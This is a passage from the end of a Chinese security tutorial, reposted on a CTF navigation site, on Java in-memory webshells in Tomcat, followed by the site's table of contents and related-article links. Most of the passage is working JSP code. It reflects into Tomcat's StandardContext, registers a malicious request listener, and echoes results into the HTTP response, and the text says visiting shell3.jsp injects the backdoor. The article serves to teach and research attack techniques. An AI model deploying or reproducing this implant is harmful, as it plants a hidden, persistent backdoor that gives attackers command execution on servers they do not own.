                    } catch (IOException e) {
                        throw new RuntimeException(e);
                    }
                    byteArrayOutputStream.write(myChunk, 0, i);
                }
                try {
                    Field response = httpServletRequest.getClass().getDeclaredField("response");
                    response.setAccessible(true);
                    Response responseO = (Response) response.get(httpServletRequest);
                    responseO.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
                } catch (NoSuchFieldException e) {
                    throw new RuntimeException(e);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                } catch (IllegalAccessException e) {
                    throw new RuntimeException(e);
                }
            }
        }

        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {

        }
    }
%>

<%
    ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
    Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
    ApplicationContextContext.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
    Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
    StandardContextContext.setAccessible(true);
    StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
    // 下面模拟 ServletContext::addListener 方法中的动态生成内存马的代码块...
    standardContext.addApplicationEventListener(new MyListener());
%>

访问shell3.jsp注入内存马, 最终运行结果:

Ending…

当然了, 关于内存马的分类还有很多, 例如 Spring Controller 内存马, Spring Interceptor 内存马, Tomcat Valve 内存马原理以及如何查杀内存马等问题, 笔者将放在后续进行讲解…

原文始发于微信公众号（Heihu Share）：深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

版权声明：admin 发表于 2024年10月13日下午2:58。
转载请注明：深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术 | CTF导航

PoC Exploit Released for 0-day Windows Kernel Elevation of Privilege Vulnerability (CVE-2024-21338)

admin

LibreSSL之CVE-2023-35784漏洞分析

admin

红队免杀必会-进程注入–注册表-全局钩

admin

901

每周蓝军技术推送（2022.5.28-6.2）

admin

695

Python沙箱逃逸

admin

254

【kernel exploit】从 PWN2OWN CVE-2022-27666 看内核页风水

admin

1,138

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

前言

调试环境搭建

JVM_Bind 错误解决

内存马调试

动态注册机制

操作演示

提出问题

内存马实现

Servlet 内存马

ServletContainerInitializer 调试

Tomcat 架构概念解释

Servlet 内存马编写

Filter 内存马

失败的 Filter 内存马注入

Filter 访问流程分析

内存马编写思路

为什么在初始化时可以注入成功

Listener 内存马

Listener 内存马回显问题

Listener 动态添加分析

Listener 内存马编写

Ending…

PHP PWN 入门调试

cpolar内网穿透测试

相关文章

相关文章

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

前言

调试环境搭建

JVM_Bind 错误解决

内存马调试

动态注册机制

操作演示

提出问题

内存马实现

Servlet 内存马

ServletContainerInitializer 调试

Tomcat 架构概念解释

Servlet 内存马编写

Filter 内存马

失败的 Filter 内存马注入

Filter 访问流程分析

内存马编写思路

为什么在初始化时可以注入成功

Listener 内存马

Listener 内存马回显问题

Listener 动态添加分析

Listener 内存马编写

Ending…

PHP PWN 入门调试

cpolar内网穿透测试

相关文章

广告位

相关文章